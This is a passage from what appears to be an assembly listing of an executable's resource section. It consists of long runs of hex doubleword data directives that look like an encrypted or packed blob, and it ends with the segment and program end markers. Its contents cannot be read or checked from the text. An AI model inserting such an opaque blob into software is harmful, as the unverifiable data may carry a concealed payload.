6BB801E5h, 56C56DFDh, 0E81A0025h, 0F215DB07h, 34F86874h dd 8B4D3692h, 0D9FB005Ch, 46597A15h, 84772C09h, 8B08837h dd 8969E02Dh, 0A4002707h, 582A1271h, 7555C7C7h, 5CB7E12Ah dd 1B9ACA45h, 3F17D927h, 36D94D26h, 0A034E2ADh, 0EE3DABD5h dd 0B8B5F965h, 6E5547E5h, 0D9811A32h, 14EE355h, 0D5419DFDh dd 9B7783C5h, 0B2E95224h, 0F581BD5h, 59426CBEh, 7F55A7E9h dd 20C544B5h, 0E21853D4h, 4F0BC3E9h, 6B86B22h, 648FC025h dd 0E40088F9h, 7BA5EB68h, 978D23D3h, 9C0FF803h, 1CB4BF79h dd 86141450h, 0C30CF795h, 86A09C24h, 0E47180B0h, 6DED4975h dd 3B186BD0h, 1CB77D2Ah, 0C61AEE45h, 0A83571A7h, 5ED5CF85h dd 44751D61h, 5489E850h, 379DB975h, 6F4423Bh, 7CF555BDh dd 0C09E8C8h, 0AB35F1F5h, 6E52B88Dh, 89759D49h, 6EA26E61h dd 0DB53927h, 60CDFC94h, 777EC5B5h, 3A85D1D9h, 8835644Dh dd 979EDE85h, 24F570B0h, 0CAC74BC5h, 8994AFD2h, 0D0B17C08h dd 6F835B5h, 0AAA149C8h, 0F73C4DF4h, 80581F85h, 10846D35h dd 0E215BB82h, 80C1CBF0h, 0CBF31F2Dh, 407AA8A4h, 1B950387h dd 70BF712Bh, 0AD5B805h, 16CE5D3Eh, 0EBD52AF9h, 9FFD04D6h dd 3B146886h, 13765484h, 8A619789h, 0BD6E85DAh, 206E7ECDh dd 740CCC34h, 41BB9BC5h, 0FEC85F5Dh, 5EC0BC14h, 29AB85A5h dd 0F52AD33Fh, 0ED25DB70h, 97DFE687h, 0F2DDEE16h, 33343E83h dd 70F7AD1Ah, 8EDA5405h, 9804501Dh, 6A9543C9h, 0F6D1FE64h dd 2E05DF95h, 0F5D41B7Ah, 6471F8C8h, 7344C975h, 3E45D581h dd 591969A8h, 0AB9773C8h, 30CBF840h, 0BD555DA8h, 0E0B65045h dd 16FEE7A9h, 44C16289h, 850047E0h, 25047026h, 402948C0h dd 5BDDDC66h, 1CE96633h, 592E38A6h, 98A9EE26h, 0AE6BA4E6h dd 469A37Ah, 0D3680026h, 0B029C29Dh, 2F926C66h, 4CE91E5Dh dd 653BC8A6h, 0E8A96CAAh, 49C534E6h, 9469C8EAh, 1A6D2AA4h dd 11500355h, 0D114F8D6h, 0DA971E63h, 35D34C0Eh, 7C17FA84h dd 0E79D6169h, 76F4723Ah, 5C1B5E3Ah, 69ED4D45h, 2817C3FDh dd 18D70EA9h, 7E5FB88Bh, 7D03931Dh, 5E3850E4h, 4806CA0Dh dd 0DB5D4DAAh, 8AB466FAh, 5D88345Fh, 29D72FF5h, 0F465B35Eh dd 9CFC422Fh, 105F414Dh, 0C66AB63Fh, 2B5D1655h, 12B4F6FAh dd 0C835A1E6h, 21E93D09h, 1AD31DF6h, 0AD40B570h, 0B5D91Dh dd 0BBF7CE85h, 0C6A0268h, 1395B33Eh, 0F5EF403Ch, 7D59E4BCh dd 0D475AD35h, 8D24EBC5h, 65950AA5h, 0C5D71C3Bh, 0B7F6E5B5h dd 0E1A28D4Bh, 9A28DC0Ah, 0E6AE4D0Ah, 3E4A1F25h, 6DE670EBh dd 0DB1BB5D0h, 0C77BEC06h, 0CD54B18Dh, 0B6581A04h, 0D6E17E6Eh dd 0A7403F95h, 0DBF9121Ch, 215DBD5h, 0E3C43965h, 0F8B17B45h dd 5D54618Dh, 0CA0A8C04h, 0BA3551A7h, 0C6AE2D0Ah, 204AFE25h dd 74403CD4h, 7D60D990h, 0F5D96C3Ch, 5CF535B5h, 0C7297345h dd 0F934E6Fh, 0E6961F95h, 9825330h, 3280150Ah, 0B33F73DDh dd 7E4530C3h, 0C7F08566h, 181ECF6Ch, 4AF55490h, 4EC7A6F0h dd 47A5C89h, 789AB130h, 0A4B5699Eh, 0F6F588DDh, 0B73B5850h dd 8A853ED9h, 285A8CEEh, 8CB556C1h, 4E75E8DDh, 1C0EC230h dd 79DC169h, 0D9F41239h, 8C36D7A9h, 819AED4Dh, 0EDE0BF25h dd 451F88h, 7C2DA88Fh, 17343A75h, 0A129D6E5h, 4E5BA715h dd 0FDC8FD9Fh, 0AB29F1C9h, 7589CB63h, 4BE995C3h, 1B49E723h dd 96A9C183h, 0E90993E3h, 3B695D43h, 0D160DE55h, 2AFF2EB5h dd 0D8F95C40h, 695E6BAh, 8111B81Dh, 0F999687Ch, 40B53975h dd 34A58705h, 0F8F9D71Ah, 0D4B3D6D2h, 884E558Ah, 66402185h dd 2D4A1221h, 37955B35h, 685FE9E4h, 2BF452A7h, 0A379CA9Ch dd 0FA959355h, 809BE1E5h, 58EA602Bh, 0F95B96D9h, 6D1FE335h dd 40A5F263h, 0E858C745h, 6D54D28Dh, 171D9304h, 684ECD6Ah dd 0C6559F85h, 8477E225h, 667AC14Bh, 12B5999Eh, 1F15770h dd 4C852C1Ah, 5AB426C5h, 0A3C2848Fh, 36C5F815h, 0C5D45A0Dh dd 4E9A9684h, 20B5E99Eh, 62594705h, 62D5E5A8h, 11960FCh dd 583531F5h, 0ABE96F85h, 480022DDh, 0FE482C5h, 0A0CEE5EAh dd 0DE55B605h, 1C7914A6h, 0A955345h, 4FE0FB4Dh, 6177B02h dd 0E6C11525h, 8A65BE84h, 8B3E440Fh, 4E456565h, 0AD53128Dh dd 661A8E04h, 3535211Eh dd 3AD55F85h, 50FAA43Fh, 2215EBBEh, 64B64965h, 8C43BF0Fh dd 0A15D64A4h, 0AAB41603h, 2DE01B4Eh, 0E6175B0Ah, 59C49825h dd 0EE72F48Dh, 57B5A927h, 93AD43CDh, 210BF409h, 333BE338h dd 0EFB96E5Ch, 66D83F95h, 0C1498D25h, 997587Bh, 84352975h dd 0A9BFDF0Fh, 0C15D84A4h, 0D2B43603h, 6ABE7DCCh, 0FC95DEF0h dd 0A0FA54D0h, 73155BBEh, 14B59965h, 90DA59DFh, 0DCF525DEh dd 29BD797Ah, 60147862h, 3742977h, 0B5D26F0Dh, 7AF54B84h dd 19944479h, 67B3028h, 31DBBAA4h, 85208AD6h, 68254A69h dd 786CDDBCh, 475DD28h, 163D37FAh, 0F094D0E1h, 58036F24h dd 0D4DB34A4h, 0F33B5004h, 0A1C04C76h, 68398410h, 0ACA04D35h dd 8F31634Eh, 20CE65EAh, 5E553605h, 950D39A5h, 0EA6E4FCAh dd 483521E5h, 0ABC1638Fh, 0D48E41AAh, 32150BC5h, 0D8BF6666h dd 7BF4A447h, 2D52C08Dh, 0E61A0E04h, 0B835A11Eh, 0BADDDF85h dd 0F721052Fh, 413DCE84h, 619480E2h, 2E2E9B8Ah, 8CF569A5h dd 828C1F45h, 2114467Bh, 0D49528FDh, 0BC0DF8EDh, 6B19D785h dd 0F58D861Dh, 1BFDEEACh, 455474A2h, 5A6E9FCAh, 983569E5h dd 66E71485h, 448E8FE2h, 59A95BC5h, 799206CDh, 63E8F44h dd 7FF0ECEh, 0BA857C83h, 0E387D25h, 46AE99EAh, 59DD1825h dd 0A2347E82h, 0C33F8316h, 8E45A087h, 6F119D4Fh, 0D8A44604h dd 684E776Ah, 86D91C85h, 34B6AD29h, 80A2CBCDh, 46B6F910h dd 49357FDCh, 401E24A4h, 0BCED4D29h, 6B0CEA60h, 36C5F809h dd 84755D35h, 965A6F9h, 0B34DD70Fh, 54F6453Fh, 9051BD50h dd 32E56604h, 0BDF5648Fh, 0E85D0C0Eh, 6FCCCD35h, 4205F449h dd 90B56985h, 768CAABAh, 1D544183h, 0AE4CA9Fh, 0CEFF7CBDh dd 6AEDB0Ah, 0E83FB625h, 965DB32Fh, 881B70E4h, 0D1ECE786h dd 9CE58E29h, 0EA95C385h, 0FCB514D9h, 423A556Dh, 0EE75BD5Eh dd 96728430h, 5B55927h, 0C5D91C3Ch, 0CF5E5B5h, 612A7345h dd 2B373195h, 0F6C5B841h, 0C0FA34CFh, 12157BBEh, 0F3B5B965h dd 28AD7710h, 6C0E722Ah, 0BDC0F945h, 104699CBh, 9D59C4BCh dd 0B3758D35h, 4A9DBC5h, 0B3BF5215h, 9E4590C2h, 0F2F86965h dd 2A6EB8AAh, 2AE07FE5h, 6B6530FDh, 148E81AAh, 72174BC5h dd 54B72665h, 0B9BAED4Dh, 76F525DEh, 52F2FCB0h, 9035E1A7h dd 46D5F815h, 10FAE4D0h, 0DA15ABBEh, 0A4B50965h, 0CA35FFB6h dd 474CA4A4h, 1A851CC9h, 68353DE5h, 4E25863Ah, 0B53622Fh dd 0EB7F2BD5h, 243AC832h, 0EE55D7FEh, 87F515ADh, 0BED7D56h dd 0F2DAAB45h, 8CD5EF7Eh, 0AB540D0h, 4ABB8870h, 73BF018Eh dd 5E4550C3h, 0B2F8A965h, 0EA6EF5AAh, 0F9E0BFE5h, 86AEF30Ah dd 0E465BD25h, 0B16DA5C5h, 0B865A5h, 315FAF49h, 1CE50E23h dd 18A4DA6Bh, 0A84E136Ah, 737D3685h, 0FDD41C20h, 92EEF74Ah dd 0F0B5C965h, 0CE63ABC5h, 407A67F5h, 4495C33Eh, 21106E4Dh dd 0D424CCC4h, 2E51AAEh, 8D2CEBD5h, 60A552E9h, 2E558705h dd 6485E119h, 0BD1E7AAFh, 98253399h, 457DC4B0h, 0CD43C20h dd 0C734F2EFh, 0B73926DCh, 1E55F715h, 71CA45A6h, 359F53B5h dd 825AAE1h, 7CE406EFh, 9AB500DDh, 2EEFF2Ah, 0D060B765h dd 11EC0D06h, 0DCE5CE29h, 2A970345h, 0FB0C28DAh, 0C6C56809h dd 1479ED25h, 226531FAh, 0D713066Fh, 0A1DFD715h, 4CE55E28h dd 3885D306h, 8DB61F9Dh, 3E800FF5h, 0FF7F9DD5h, 0D205E403h dd 0A43A480Fh, 6E5557FEh, 7F59DA5h, 8BEDFD55h, 73DA2B4Dh dd 0CD56F7Eh, 49763DD0h, 3CDD6BCDh, 0A0CE5EEAh, 8BFD5D05h dd 1554449Fh, 6A6ECFCAh, 0D835A1E5h, 0A9EAA085h, 0E10DA34Ah dd 157A917Dh, 0E2B5C99Eh, 0A8155670h, 5A6512CEh, 65ACC355h dd 3825FA69h, 86B55F85h, 0FD06BC9Ah, 6ABBF270h, 13BF616Eh dd 0BE4570C2h, 12F84965h, 4A6E98AAh, 0CFE05FE5h, 0E6175F02h dd 0BAB69725h, 0A2D7FB2Ah, 30601765h, 9ADA05DDh, 22F545DEh dd 7FAF2CEDh, 9CBA6064h, 67D52F7Eh, 20768D25h, 7E9A66B1h dd 50B5399Eh, 315D7705h, 687A7CC5h, 3A95233Eh, 3B3861E5h dd 6D93878Fh, 0D9DD4C24h, 0CA34FE7Fh, 8994B365h, 3BEFA82Dh dd 0D87A0CA4h, 0AA95733Eh, 0CC25D1E5h, 0B09E6F8Dh, 0B5CF8A0Dh dd 5E9A8684h, 30B5199Eh, 52595705h, 0B2FC55CFh, 0A6ED7CAh dd 7E1502E5h, 0DADD0892h, 0C81ADF25h, 12153BBEh, 0E4357CC9h dd 5BFD2E09h, 0CC54349Eh, 0B7BDB966h, 0FA14985Eh, 30754AFDh dd 848E79CAh, 9A8035C5h, 399462CBh, 25D9BC3Ch, 0AC1585B5h dd 0B629D345h, 0D3C06070h, 96C52D0Dh, 23FE7E50h, 2CCD7B81h dd 70CE6DEAh, 3BFD4D05h, 2554549Eh, 7A6EBFCAh, 0F83591E5h dd 0ACE1F385h, 4AB87DDDh, 92EE4F4Ah, 0D2BF7465h, 38F5327Dh dd 9C0E614Ah, 82000D45h, 21144A7Bh, 8D59D4BCh, 0C4789D35h dd 0D7A9ECC5h, 0E34000F0h, 0AE454565h, 0C47E9DD0h, 0F7DEF201h dd 884EED6Ah, 66D5BF85h, 0A783C225h, 72EE6F4Ah, 10BD3365h dd 0AF585085h, 0AFF9D29Dh, 0BA856F89h, 783D8126h, 5C78C610h dd 0E486058Bh, 9ABB32EBh, 0C81D99F4h, 90556705h, 14A01B86h dd 95DE80B0h, 87CD6FEBh, 364041C5h, 0E9DD87E8h, 0EF340E7Eh dd 0C0CE05EAh, 0FE55D705h, 0D1EF9925h, 0E61AEA14h, 0D35B1A7h dd 121D88CDh, 0C5CE6C0Dh, 2C585B84h, 298EF6CDh, 0FEDAD444h dd 85F585DEh, 1A6E5FCAh, 583531E5h, 0FBDB5465h, 492D7550h dd 5AC8A2DEh, 0E0E0E190h, 20BD4490h, 0B7F605B5h, 7A8591CDh dd 0CC06AE6h, 715EF369h, 64652D8Dh, 0F4A10050h, 83E0D975h dd 4E45658Dh, 7379FA9Ch, 0EA55C355h, 368911E5h, 0C84007BCh dd 1D2BAD29h, 0E4599048h, 69B54975h, 0BE56D089h, 0C024DA5h dd 95603345h, 0F47A37B7h, 0BAC3BD78h, 575D971h, 0A2F3595Ah dd 883A4265h, 7F5517C7h, 79118D30h, 0B228A61Dh, 4049B470h dd 0E374149Eh, 0F20D22B0h, 3D0DBD5h, 0D33E2D27h, 9E453561h dd 73FD07A8h, 2A5733CAh, 7088DCE5h, 0D6555EC4h, 32DDFD25h dd 0EB34FE79h, 0B0F7F122h, 34FDB905h, 0E1541499h, 0BA570BDAh dd 7F4CE5h, 2FE1D588h, 8FDEF0F3h, 0E1B543D4h, 0B4C40965h dd 7E5558DFh, 0A915AA8h, 6598F355h, 682583DDh, 0C37D7BF1h dd 4753FAAh, 4EDBB0C5h, 5E0DF690h, 0F458C715h, 8983DF5h dd 0FD18E604h, 0D825F39Dh, 5FE0D485h, 0F184496Ch, 0C2159CE0h dd 0A3CEEDD0h, 5E45757Dh, 0AB020AB4h, 7598D345h, 4825E3DDh dd 0B3ADF02Bh, 68FABC4Ah, 0AB150BC5h, 3DE05B25h, 0F4FDF7F9h dd 0F3545499h, 7A57CBC2h, 9CBA88E5h, 7D5DF85h, 6437D9AAh dd 2A9A7AC5h, 65B5D927h, 3A9CFE05h, 8C42E7B4h, 1770B345h dd 0ECB8F8EDh, 0F7D54F85h, 0FD789FE5h, 0BA9AEAD9h, 8EB52927h dd 76AAC2D5h, 4DF5C5E7h, 5A73F1DAh, 0D8BA3BE5h, 0E62C4494h dd 0B8DE0D25h, 86155BC5h, 643AB0E4h, 9E55F705h, 0E7045AE3h dd 0BA9593D0h, 0ED361F70h, 0FE056348h, 0A5D4D01Ah, 0B46D40BEh dd 910A1975h, 50B1EC08h, 57F8B5B5h, 2A85C17Dh, 3619CE6Eh dd 0C6609F95h, 0D2B17260h, 5AA73BD5h, 0EE9506A0h, 0D567D715h dd 4CF525E2h, 0C26C6175h, 0E835C104h, 0BF71C912h, 817738E6h dd 4DF0BB07h, 20A5BBC9h, 0B2D853BAh, 3D06B4B5h, 0A991BF89h dd 0E1F83C50h, 0B617E70Ah, 9F00ED25h, 4205D9FDh, 0B989FCCDh dd 0DEBE1844h, 977505A5h, 7E5C2A53h, 9509AD7h, 0F257EA8Dh dd 9BD40C24h, 986708D4h, 0C4070E4h, 0D2BCA8E9h, 0ADF575CEh dd 53B08604h, 5C7F92A7h dd 0A6D55F25h, 49B5E073h, 9D9C17D1h, 70A58BA9h, 151C8Eh dd 8382E5B5h, 5A954CCDh, 0E68DFEE8h, 99FBCF95h, 0FEA0DBCAh dd 6B0929C8h, 227BBD27h, 0AD1C2F40h, 7CF555F8h, 0CA95A34Ah dd 0D111AF6Eh, 0E30CFE63h, 0C4933BBAh, 0E73D9CC5h, 4FAFA674h dd 52857705h, 5DDFAD0Fh, 50D3A004h, 0C8BA61F5h, 0D95DAA64h dd 3C75FD26h, 0D734E751h, 0C0B58ACDh, 0C27AB605h, 77E19EEBh dd 15386098h, 0CF89EAD7h, 0B9741F46h, 94652F71h, 0A8E72884h dd 0B33E0975h, 7E4595D9h, 0CCF5BE8Dh, 0C63AC245h, 319A9CC6h dd 8FA293Ch, 0D45EF598h, 80BE9915h, 411A5D4Eh, 468CC7AAh dd 0D543D02h, 8A9552EDh, 69A04E5h, 93E9CE2Ah, 62257297h dd 16BE25EEh, 101AC84Ah, 0F6341FDCh, 0BA5DC4A4h, 0AB95D345h dd 6596E3CAh, 46E56430h, 0FB4B1697h, 8DBCA8F1h, 9E9D8865h dd 66F4A22Dh, 1CF5F5BDh, 5258A098h, 1B9C27C6h, 0ADE9FA53h dd 8225968Bh, 36BE45EEh, 0F01AE84Ah, 23F43FDCh, 58A5E4A4h dd 0AD0530D2h, 8C9F01F5h, 2BD66555h, 0C6DF1224h, 0F69EEBD5h dd 422A1089h, 0C8559703h, 0C4926265h, 9A951386h, 0EB1441B5h dd 0E6C5CC15h, 30750E8Dh, 81BF87C5h, 242AA03Ch, 0D255E7C7h dd 0DDAC490Fh, 0AA575FDAh, 1CF964E5h, 9821E4C4h, 0FD47D35h dd 0F205BDE7h, 0D3425C44h, 8E4528CDh, 0F66A94FBh, 0AB95F343h dd 0FC44F85Dh, 0C6D59F00h, 0D22D72AEh, 62BF3BD5h, 4E2AC03Bh dd 8155C703h, 0A8793465h, 83957345h, 0CE65F125h, 35FFDF88h dd 84755D8Dh, 5D34F585h, 20A50F27h, 6BF4FF88h, 0BCFB9C29h dd 0DE1A5C45h, 0E33541A7h, 0B6175F12h, 0CCEA4A25h, 71150B07h dd 60B55337h, 0AC832C44h, 247805B5h, 0A5194604h, 0EE35A1EAh dd 0D22A5A85h, 0E5752D67h, 0C2F3315Ah, 498D5C65h, 51B3AB14h dd 177E75A5h, 0EA850175h, 0F5384A18h, 30068F56h, 3FD4FE29h dd 2205B921h, 9AFBD6E4h, 7EDA9715h, 76F69B4h, 21683345h dd 0E689FE6Eh, 0A506CF95h, 4474B576h, 0B7C56BD4h, 0D0D33FFAh dd 2B158C05h, 7CFA8829h, 21A1C45h, 553501A7h, 66E716FDh dd 0DC400825h, 999587Ch, 50B52975h, 0A46A9705h, 0FCDD4AA8h dd 0EC681355h, 0B70C22E8h, 595E90BCh, 2465BFA9h, 72FECE3Dh dd 0CC002465h, 1E7D6C08h, 0A0835B5h, 99ACC448h, 7BBE725Ch dd 46C5DD41h, 490C6CE8h, 0AD3894CBh, 29ADDCF2h, 7F49967Ch dd 8BE0EE75h, 99C5F22Dh, 4F8C681Fh, 0B1E9B833h, 381E7A8h dd 8BA00BF7h, 94F704A1h, 69450508h, 554DDE9h, 83D6421Eh dd 0C877216Ah, 7A603E85h, 0B4885D49h, 0C26D1954h, 8578E965h dd 0D9601E54h, 0BCB64D62h, 2F207745h, 44E15A18h, 72DB5D26h dd 0B877149Fh, 76F171A5h, 9AD1FD59h, 0CE3184B9h, 63585D1Ah dd 257244D0h, 0C354EBDh, 0C708AC90h, 0CF842D77h, 0A734CEB8h dd 0C1D2CCF0h, 3B98E1CEh, 0BD548B29h, 1B4CD804h, 0AC44B7BAh dd 0D374FAA0h, 0D1385462h, 2299EEB7h, 2B9410E4h, 0EB8956D5h dd 4DFA59B4h, 23682604h, 0B113864Dh, 4EC514C4h, 15D4391Fh dd 0C7333C6Dh, 6C39B0E4h, 0EFF45243h, 6CEBED77h, 1BBD9345h dd 30146864h, 56D52F85h, 91E2FE82h, 4915DBB9h, 40B51CDFh dd 727E2A9h, 0CCB70D5Ah, 4C1EDF45h, 4353D2CBh, 675A9A5Fh dd 8975ED28h, 8184F23h, 0D00A4Bh, 2FDAE2CAh, 0F5F525A8h dd 7A957D88h, 6B44C1E5h, 36D50ECBh, 8231A01Bh, 0D37127D4h dd 0DD40F965h, 0EB5440Dh, 3804F545h, 0A95E2B3h, 38555122h dd 47597A65h, 6975CD28h, 42156350h, 5FABCC65h, 6B043F2Dh dd 0E08208A4h, 7B956387h, 8962433h, 0DAF66E85h, 0E6F01525h dd 3424BE84h, 0B5DC5Fh, 9015CC88h, 21F575B5h, 0B420BB87h dd 85F6ECF5h, 0AF952E89h, 4BBDB02Ah, 9D9EEB0Fh, 70A58BE5h dd 46615D08h, 0CF6E5A5h, 0F8F30B96h, 3B45C864h, 0F6C5B807h dd 0CF85FDD6h, 9205A448h, 9793D94Fh, 649BFDDh, 0CD54FB49h dd 56A4D1CAh, 0E7174427h, 76AEC31Ah, 9DDAA825h, 0F2EE574Ah dd 50B52965h, 0B3374B06h, 0FC0E492Ah, 3A951245h, 7416EE5h dd 0C6AE33EAh, 25D44C25h, 0F11FF27Ch, 0B0CE15F2h, 0E55E705h dd 5CFB9DB5h, 124E8345h, 0F835D1EBh, 0EC0B375Dh, 0FFFDC24h dd 0E205D401h, 9CDF85EBh, 0F65547FEh, 0DC0E212Ah, 27B55145h dd 784EBD6Ah, 0B6D58785h, 847EF225h, 62EE9D42h, 0E3097A65h dd 15D94C3Ch, 3CF515B5h, 0A3295345h, 0AF915665h, 9ADAFF95h dd 5712CDD5h, 0BD158BBEh, 7B358859h, 5E4550C3h, 957339AAh dd 0EA6E4FCAh, 483521E5h, 16DE6389h, 0D48E09E2h, 0A9AC09C5h dd 3E79B6E8h, 6655A715h, 2D54474Bh, 0DFB282EDh, 0B686A964h dd 0A160DF85h, 54656FA1h, 6495F0C8h, 0B59DC975h, 3BF43241h dd 8CF73629h, 0F2EA2A45h, 0AD35F1A7h, 0B4D83B63h, 85D2490Dh dd 0FB97EE84h, 0DFB53967h, 0AE756BCFh, 4E8075A5h, 8498CD97h dd 888F74F9h, 1D5944BCh, 34750D35h, 6EAA3BC5h, 0E7D5EEEh dd 71E2F715h, 6CE53E35h, 0AA3D08D0h, 6C08E1F5h, 60F9D85Ch dd 0EF027D25h, 0F205DBC5h, 404676D8h, 0F2E86528h, 0B3793A9Ch dd 2A950355h, 0FC4431E5h, 0C6D59FF3h, 2C9DE024h, 0E7342096h dd 0EE4D16F0h, 30DAD715h, 4C6DA9B4h, 0E5207345h, 0E82503DDh dd 0B5C5C510h, 8455416Fh, 0C008BC5h, 0EDB7CC6Dh, 8267464Eh dd 0ACDD22E0h, 8D20E355h, 582541CDh, 0E2603137h, 0CC1A5049h dd 42150BD5h, 901D08E8h, 5755B705h, 72F60D1Fh, 0F7AC524Dh dd 54BA1C5Ch, 2BD5FF47h, 548EC1AAh, 0B2154BC5h, 51B7E565h dd 4A67261Dh, 0E77E85CEh, 0EA850109h, 375DC470h, 0A5AF275h dd 1475BD5Eh, 0AE15FBC5h, 3FADF867h, 8BF17E2Dh, 1060BEA4h dd 437DA248h, 0FA6675D7h, 0AD1433B8h, 4BE572B2h, 0F59E6BD5h dd 0E0A5FBADh, 7C946B38h, 0FF6726B4h, 0CA9664CCh, 96AA1BE5h dd 59D52F7Eh, 1CA7262Bh, 0E007A71Bh, 0E89C79EEh, 0ABF4ADECh dd 0F0BF50FFh, 785C948h, 984EDD6Ah, 0D6D5AF85h, 1F367A45h dd 0E59E5AFAh, 0C0A55BA9h, 1E7D6C08h, 0B57835B5h, 0AA95836Dh dd 2078ACE5h, 4608A20Eh, 0FCC6D25h, 0E205CE05h, 30B50966h dd 3F1C5AB9h, 2C9545ADh, 961A5EA5h, 6835311Eh, 0AD98F85h dd 0A9DD0F2Ch, 9C341E7Ch, 5E79FEF0h, 0F1F8C715h, 211DE02Eh dd 0CA22DA52h, 7535C1A7h, 0AFD85687h, 0EFCC2570h, 0C2057449h dd 10B5E968h, 0E1E02BB9h, 0ACE5476Dh, 0BCE54848h, 0CB3821F5h dd 96C52DF1h, 1A00B526h, 969A92D5h, 87B54927h, 0CF68AFCFh dd 1BFDBF2Eh, 4B183387h, 3BC091BDh, 6C51D09h, 549EBD8Dh dd 9AD77CC5h, 0C0F8CA3Eh, 45D78C8Fh, 74C65B5h, 0DA85DCC9h dd 483501E5h, 1D85139h, 0C4658D8Dh, 8D2CEB3Bh, 60A552E9h dd 0AE578705h, 3653C91Ah, 4119A0FCh, 983571F5h, 0ECEABF89h dd 5BF882AFh, 0FD2C5BD5h, 0D0A5E2E9h, 1E55B705h, 657F501Ah dd 0BCFFD147h, 2D0C833Bh, 28DCA58Eh, 0CE7717E7h, 44E87667h dd 0A4D7A449h, 0F8D6594h, 0CCB7F162h, 0A6A40345h, 0D114FBA4h dd 8EDF4C4h, 9FD4ED35h, 62054D37h, 0EE09F6E4h, 71F4D715h dd 4CE563CBh, 5C35E8D2h, 7BC2C1F5h, 36C5CD2Dh, 845F8F76h dd 14D15884h, 9394F975h, 6E45416Bh, 0FAB1EAA4h, 95B4E355h dd 5825570Bh, 0E51D1412h, 9FD4CD35h, 4205D91Dh, 0EE2AE03Bh dd 5F55A703h, 3CB7E14Ah, 0E2D85345h, 0C835A1E5h, 95D6C562h dd 548DBC12h, 0A72563C5h, 0F33556A6h, 0EDA2715h, 0AD3DF868h dd 65D6B6F5h, 38251E65h dd 86C52CC8h, 0D84AAD4Fh, 0FEB17CEBh, 63066D71h, 82FD3718h dd 0B75464A4h, 0F4EA0B4Ah, 761DC864h, 0D5747AC4h, 8CA22C53h dd 0FA07971Bh, 0E0B5B98Ah, 1BBA2FA5h, 93CAF4A4h, 0BA795FD0h dd 0D77D9E72h, 36603F95h, 0DAF6332Dh, 1DA8D9CBh, 50B5913Bh dd 0E2E07744h, 0BCA7C50Fh, 50A7A004h, 0CCB861F5h, 12B3308Dh dd 0AF310C64h, 6E5BCAC8h, 898F3BCDh, 3B744F44h, 19D614A4h dd 0AA954FBDh, 90C66CE5h, 46D51F74h, 94757A0Dh, 0E2F579C5h dd 30B5F91Dh, 7E45FF05h, 0A837A5A5h, 191A9B45h, 651D41E5h dd 78D58F85h, 0B002DD51h, 28622FA9h, 2CB5D1E8h, 0EEFDE71Eh dd 0C1F515A5h, 5D653F99h, 83B6BB70h, 26C5082Bh, 0D5D5F40Dh dd 0BE573C84h, 12B8EB65h, 0C1563C0Ch, 0FFE002A8h, 0F1BAA436h dd 30A5E8B6h, 0A4h, 6Ah dup(0) dd 1500h dup(?) _rsrc ends end start